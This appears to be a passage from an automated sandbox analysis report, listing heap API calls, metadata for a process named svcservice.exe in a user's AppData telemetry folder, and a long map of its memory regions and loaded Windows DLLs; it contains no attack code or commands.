[0086.417] GetProcessHeap () returned 0x8e0000
[0086.417] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8ec2a8) returned 0x14
[0086.417] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec2a8 | out: hHeap=0x8e0000) returned 1
[0086.417] GetProcessHeap () returned 0x8e0000
[0086.417] GetProcessHeap () returned 0x8e0000
[0086.417] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e8380) returned 1
[0086.417] GetProcessHeap () returned 0x8e0000
[0086.417] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8e8380) returned 0x30
[0086.418] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e8380 | out: hHeap=0x8e0000) returned 1
[0086.418] GetProcessHeap () returned 0x8e0000
[0086.418] GetProcessHeap () returned 0x8e0000
[0086.419] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec588) returned 1
[0086.419] GetProcessHeap () returned 0x8e0000
[0086.419] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8ec588) returned 0x14
[0086.419] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec588 | out: hHeap=0x8e0000) returned 1
[0086.419] GetProcessHeap () returned 0x8e0000
[0086.419] GetProcessHeap () returned 0x8e0000
[0086.419] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e3900) returned 1
[0086.419] GetProcessHeap () returned 0x8e0000
[0086.419] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8e3900) returned 0x24
[0086.420] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e3900 | out: hHeap=0x8e0000) returned 1
[0086.420] GetProcessHeap () returned 0x8e0000
[0086.420] GetProcessHeap () returned 0x8e0000
[0086.420] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec408) returned 1
[0086.420] GetProcessHeap () returned 0x8e0000
[0086.420] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8ec408) returned 0x14
[0086.420] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec408 | out: hHeap=0x8e0000) returned 1
[0086.420] GetProcessHeap () returned 0x8e0000
[0086.420] GetProcessHeap () returned 0x8e0000
[0086.420] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e7000) returned 1
[0086.420] GetProcessHeap () returned 0x8e0000
[0086.420] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8e7000) returned 0x4c
[0086.420] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e7000 | out: hHeap=0x8e0000) returned 1
[0086.420] GetProcessHeap () returned 0x8e0000
[0086.420] GetProcessHeap () returned 0x8e0000
[0086.422] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec4a8) returned 1
[0086.422] GetProcessHeap () returned 0x8e0000
[0086.422] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8ec4a8) returned 0x14
[0086.422] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec4a8 | out: hHeap=0x8e0000) returned 1
[0086.422] GetProcessHeap () returned 0x8e0000
[0086.422] GetProcessHeap () returned 0x8e0000
[0086.422] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e7468) returned 1
[0086.422] GetProcessHeap () returned 0x8e0000
[0086.422] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8e7468) returned 0x10
[0086.422] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e7468 | out: hHeap=0x8e0000) returned 1
[0086.422] GetProcessHeap () returned 0x8e0000
[0086.422] GetProcessHeap () returned 0x8e0000
[0086.422] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e37e0) returned 1
[0086.422] GetProcessHeap () returned 0x8e0000
[0086.422] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8e37e0) returned 0x14
[0086.422] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e37e0 | out: hHeap=0x8e0000) returned 1
[0086.422] GetProcessHeap () returned 0x8e0000
[0086.422] GetProcessHeap () returned 0x8e0000
[0086.422] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e8b48) returned 1
[0086.422] GetProcessHeap () returned 0x8e0000
[0086.422] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8e8b48) returned 0x14
[0086.422] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e8b48 | out: hHeap=0x8e0000) returned 1
[0086.422] GetProcessHeap () returned 0x8e0000
[0086.422] GetProcessHeap () returned 0x8e0000
[0086.422] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e8b68) returned 1
[0086.423] GetProcessHeap () returned 0x8e0000
[0086.423] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8e8b68) returned 0x14
[0086.423] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e8b68 | out: hHeap=0x8e0000) returned 1
[0086.423] GetProcessHeap () returned 0x8e0000
[0086.423] GetProcessHeap () returned 0x8e0000
[0086.423] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e8b88) returned 1
[0086.423] GetProcessHeap () returned 0x8e0000
[0086.423] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8e8b88) returned 0x14
[0086.423] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e8b88 | out: hHeap=0x8e0000) returned 1
[0086.423] GetProcessHeap () returned 0x8e0000
[0086.423] GetProcessHeap () returned 0x8e0000
[0086.423] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e7480) returned 1
[0086.423] GetProcessHeap () returned 0x8e0000
[0086.423] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8e7480) returned 0x10
[0086.423] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e7480 | out: hHeap=0x8e0000) returned 1
[0086.423] GetProcessHeap () returned 0x8e0000
[0086.423] GetProcessHeap () returned 0x8e0000
[0086.423] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e7a30) returned 1
[0086.423] GetProcessHeap () returned 0x8e0000
[0086.423] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8e7a30) returned 0x14
[0086.423] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e7a30 | out: hHeap=0x8e0000) returned 1
[0086.423] GetProcessHeap () returned 0x8e0000
[0086.423] GetProcessHeap () returned 0x8e0000
[0086.423] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec388) returned 1
[0086.423] GetProcessHeap () returned 0x8e0000
[0086.423] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8ec388) returned 0x14
[0086.423] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec388 | out: hHeap=0x8e0000) returned 1
[0086.423] GetProcessHeap () returned 0x8e0000
[0086.423] GetProcessHeap () returned 0x8e0000
[0086.424] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec428) returned 1
[0086.424] GetProcessHeap () returned 0x8e0000
[0086.424] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8ec428) returned 0x14
[0086.424] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec428 | out: hHeap=0x8e0000) returned 1
[0086.424] GetProcessHeap () returned 0x8e0000
[0086.424] GetProcessHeap () returned 0x8e0000
[0086.424] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec548) returned 1
[0086.424] GetProcessHeap () returned 0x8e0000
[0086.424] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8ec548) returned 0x14
[0086.424] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec548 | out: hHeap=0x8e0000) returned 1
[0086.424] GetProcessHeap () returned 0x8e0000
[0086.424] GetProcessHeap () returned 0x8e0000
[0086.424] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec368) returned 1
[0086.424] GetProcessHeap () returned 0x8e0000
[0086.424] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8ec368) returned 0x14
[0086.424] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec368 | out: hHeap=0x8e0000) returned 1
[0086.424] GetProcessHeap () returned 0x8e0000
[0086.424] GetProcessHeap () returned 0x8e0000
[0086.424] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec468) returned 1
[0086.424] GetProcessHeap () returned 0x8e0000
[0086.424] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8ec468) returned 0x14
[0086.424] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec468 | out: hHeap=0x8e0000) returned 1
[0086.424] GetProcessHeap () returned 0x8e0000
[0086.424] GetProcessHeap () returned 0x8e0000
[0086.424] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec3e8) returned 1
[0086.425] GetProcessHeap () returned 0x8e0000
[0086.425] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8ec3e8) returned 0x14
[0086.425] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec3e8 | out: hHeap=0x8e0000) returned 1
[0086.425] GetProcessHeap () returned 0x8e0000
[0086.425] GetProcessHeap () returned 0x8e0000
[0086.425] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e7498) returned 1
[0086.425] GetProcessHeap () returned 0x8e0000
[0086.425] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8e7498) returned 0x10
[0086.425] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e7498 | out: hHeap=0x8e0000) returned 1
[0086.425] GetProcessHeap () returned 0x8e0000
[0086.425] GetProcessHeap () returned 0x8e0000
[0086.425] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec568) returned 1
[0086.425] GetProcessHeap () returned 0x8e0000
[0086.425] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8ec568) returned 0x14
[0086.425] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8ec568 | out: hHeap=0x8e0000) returned 1
[0086.425] GetProcessHeap () returned 0x8e0000
[0086.425] GetProcessHeap () returned 0x8e0000
[0086.425] HeapValidate (hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e7600) returned 1
[0086.425] GetProcessHeap () returned 0x8e0000
[0086.425] RtlSizeHeap (HeapHandle=0x8e0000, Flags=0x0, MemoryPointer=0x8e7600) returned 0x10
[0086.425] HeapFree (in: hHeap=0x8e0000, dwFlags=0x0, lpMem=0x8e7600 | out: hHeap=0x8e0000) returned 1
[0086.425] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1
[0086.425] exit (_Code=0)
Thread:
id = 143
os_tid = 0x348
Process:
id = "10"
image_name = "svcservice.exe"
filename = "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\telemetry\\svcservice.exe"
page_root = "0x894b000"
os_pid = "0xdac"
os_integrity_level = "0x3000"
os_privileges = "0x60800000"
monitor_reason = "child_process"
parent_id = "6"
os_parent_pid = "0x139c"
cmd_line = "\"C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe\" "
cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\"
os_username = "XC64ZB\\RDhJ0CNFevzX"
bitness = "32"
os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f9b9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 1686
start_va = 0x10000
end_va = 0x2ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000010000"
filename = ""
Region:
id = 1687
start_va = 0x30000
end_va = 0x44fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000030000"
filename = ""
Region:
id = 1688
start_va = 0x50000
end_va = 0x8ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000050000"
filename = ""
Region:
id = 1689
start_va = 0x90000
end_va = 0x18ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000090000"
filename = ""
Region:
id = 1690
start_va = 0x200000
end_va = 0x3fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000200000"
filename = ""
Region:
id = 1691
start_va = 0x400000
end_va = 0x401fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000400000"
filename = ""
Region:
id = 1692
start_va = 0xcc0000
end_va = 0x17f9fff
monitored = 1
entry_point = 0x118ac64
region_type = mapped_file
name = "svcservice.exe"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\telemetry\\svcservice.exe")
Region:
id = 1693
start_va = 0x76ed0000
end_va = 0x7704afff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")
Region:
id = 1694
start_va = 0x7f6d0000
end_va = 0x7f6f2fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007f6d0000"
filename = ""
Region:
id = 1695
start_va = 0x7ffe0000
end_va = 0x7ffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007ffe0000"
filename = ""
Region:
id = 1696
start_va = 0x7fff0000
end_va = 0x7ffc71c9ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007fff0000"
filename = ""
Region:
id = 1697
start_va = 0x7ffc71ca0000
end_va = 0x7ffc71e60fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 1698
start_va = 0x7ffc71e61000
end_va = 0x7ffffffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00007ffc71e61000"
filename = ""
Region:
id = 1700
start_va = 0x190000
end_va = 0x193fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000190000"
filename = ""
Region:
id = 1701
start_va = 0x1a0000
end_va = 0x1a0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000001a0000"
filename = ""
Region:
id = 1702
start_va = 0x1b0000
end_va = 0x1b1fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000001b0000"
filename = ""
Region:
id = 1703
start_va = 0x410000
end_va = 0x52ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000410000"
filename = ""
Region:
id = 1704
start_va = 0x59f40000
end_va = 0x59f8ffff
monitored = 0
entry_point = 0x59f58180
region_type = mapped_file
name = "wow64.dll"
filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")
Region:
id = 1705
start_va = 0x59fa0000
end_va = 0x5a019fff
monitored = 0
entry_point = 0x59fb3290
region_type = mapped_file
name = "wow64win.dll"
filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")
Region:
id = 1706
start_va = 0x76840000
end_va = 0x7691ffff
monitored = 0
entry_point = 0x76853980
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")
Region:
id = 1707
start_va = 0x59f90000
end_va = 0x59f97fff
monitored = 0
entry_point = 0x59f917c0
region_type = mapped_file
name = "wow64cpu.dll"
filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")
Region:
id = 1708
start_va = 0x530000
end_va = 0x6affff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000530000"
filename = ""
Region:
id = 1709
start_va = 0x76840000
end_va = 0x7691ffff
monitored = 0
entry_point = 0x76853980
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")
Region:
id = 1710
start_va = 0x76920000
end_va = 0x76a9dfff
monitored = 0
entry_point = 0x769d1b90
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")
Region:
id = 1711
start_va = 0x10000
end_va = 0x1ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000010000"
filename = ""
Region:
id = 1712
start_va = 0x7f5d0000
end_va = 0x7f6cffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007f5d0000"
filename = ""
Region:
id = 1713
start_va = 0x400000
end_va = 0x4bdfff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 1714
start_va = 0x73b50000
end_va = 0x73be1fff
monitored = 0
entry_point = 0x73b90380
region_type = mapped_file
name = "apphelp.dll"
filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll")
Region:
id = 1715
start_va = 0x7f220000
end_va = 0x7f5c0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sysmain.sdb"
filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb")
Region:
id = 1716
start_va = 0x4c0000
end_va = 0x4c3fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000004c0000"
filename = ""
Region:
id = 1717
start_va = 0x520000
end_va = 0x52ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000520000"
filename = ""
Region:
id = 1718
start_va = 0x73f00000
end_va = 0x74046fff
monitored = 0
entry_point = 0x73f11cf0
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")
Region:
id = 1719
start_va = 0x76ab0000
end_va = 0x76bfefff
monitored = 0
entry_point = 0x76b66820
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")
Region:
id = 1720
start_va = 0x1c0000
end_va = 0x1fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000001c0000"
filename = ""
Region:
id = 1721
start_va = 0x6b0000
end_va = 0x7affff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000006b0000"
filename = ""
Region:
id = 1722
start_va = 0x76df0000
end_va = 0x76e6afff
monitored = 0
entry_point = 0x76e0e970
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")
Region:
id = 1723
start_va = 0x74910000
end_va = 0x749cdfff
monitored = 0
entry_point = 0x74945630
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")
Region:
id = 1724
start_va = 0x749e0000
end_va = 0x74a23fff
monitored = 0
entry_point = 0x749f9d80
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")
Region:
id = 1725
start_va = 0x745d0000
end_va = 0x7467cfff
monitored = 0
entry_point = 0x745e4f00
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")
Region:
id = 1726
start_va = 0x73c00000
end_va = 0x73c1dfff
monitored = 0
entry_point = 0x73c0b640
region_type = mapped_file
name = "sspicli.dll"
filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")
Region:
id = 1727
start_va = 0x73bf0000
end_va = 0x73bf9fff
monitored = 0
entry_point = 0x73bf2a00
region_type = mapped_file
name = "cryptbase.dll"
filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")
Region:
id = 1728
start_va = 0x76e70000
end_va = 0x76ec7fff
monitored = 0
entry_point = 0x76eb25c0
region_type = mapped_file
name = "bcryptprimitives.dll"
filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll")
Region:
id = 1729
start_va = 0x74d70000
end_va = 0x7616efff
monitored = 0
entry_point = 0x74f2b990
region_type = mapped_file
name = "shell32.dll"
filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")
Region:
id = 1730
start_va = 0x76db0000
end_va = 0x76de6fff
monitored = 0
entry_point = 0x76db3b50
region_type = mapped_file
name = "cfgmgr32.dll"
filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll")
Region:
id = 1731
start_va = 0x762f0000
end_va = 0x767e8fff
monitored = 0
entry_point = 0x764f7610
region_type = mapped_file
name = "windows.storage.dll"
filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll")
Region:
id = 1732
start_va = 0x74680000
end_va = 0x7483cfff
monitored = 0
entry_point = 0x74762a10
region_type = mapped_file
name = "combase.dll"
filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll")
Region:
id = 1733
start_va = 0x748c0000
end_va = 0x74904fff
monitored = 0
entry_point = 0x748dde90
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")
Region:
id = 1734
start_va = 0x748a0000
end_va = 0x748abfff
monitored = 0
entry_point = 0x748a3930
region_type = mapped_file
name = "kernel.appcore.dll"
filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll")
Region:
id = 1735
start_va = 0x76c00000
end_va = 0x76c8cfff
monitored = 0
entry_point = 0x76c49b90
region_type = mapped_file
name = "shcore.dll"
filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll")
Region:
id = 1736
start_va = 0x767f0000
end_va = 0x76833fff
monitored = 0
entry_point = 0x767f7410
region_type = mapped_file
name = "powrprof.dll"
filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll")
Region:
id = 1737
start_va = 0x749d0000
end_va = 0x749defff
monitored = 0
entry_point = 0x749d2e40
region_type = mapped_file
name = "profapi.dll"
filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll")
Region:
id = 1738
start_va = 0x71290000
end_va = 0x7149cfff
monitored = 0
entry_point = 0x7137acb0
region_type = mapped_file
name = "wininet.dll"
filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll")
Region:
id = 1739
start_va = 0x4d0000
end_va = 0x4f9fff
monitored = 0
entry_point = 0x4d5680
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")
Region:
id = 1740
start_va = 0x7b0000
end_va = 0x937fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000007b0000"
filename = ""
Region:
id = 1741
start_va = 0x76170000
end_va = 0x7619afff
monitored = 0
entry_point = 0x76175680
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")
Region:
id = 1742
start_va = 0x20000
end_va = 0x20fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000020000"
filename = ""
Region:
id = 1743
start_va = 0x4d0000
end_va = 0x4d0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000004d0000"
filename = ""
Region:
id = 1744
start_va = 0x940000
end_va = 0xac0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000940000"
filename = ""
Region:
id = 1745
start_va = 0xad0000
end_va = 0xc7ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000ad0000"
filename = ""
Region:
id = 1746
start_va = 0x1800000
end_va = 0x2bfffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001800000"
filename = ""
Region:
id = 1747
start_va = 0xad0000
end_va = 0xbcffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000ad0000"
filename = ""
Region:
id = 1748
start_va = 0xc70000
end_va = 0xc7ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000c70000"
filename = ""
Region:
id = 1749
start_va = 0x2c00000
end_va = 0x38237fff
monitored = 1
entry_point = 0x30cac64
region_type = mapped_file
name = "svcservice.exe"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\telemetry\\svcservice.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\telemetry\\svcservice.exe")
Region:
id = 1750
start_va = 0x2c00000
end_va = 0x2d9ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002c00000"
filename = ""
Region:
id = 1751
start_va = 0x4e0000
end_va = 0x4effff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000004e0000"
filename = ""
Region:
id = 1752
start_va = 0x4e0000
end_va = 0x4fbfff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000004e0000"
filename = ""
Region:
id = 1753
start_va = 0x500000
end_va = 0x504fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000500000"
filename = ""
Region:
id = 1754
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1755
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1756
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1757
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1758
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1759
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1760
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1761
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1762
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1763
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1764
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1765
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1766
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1767
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 1768
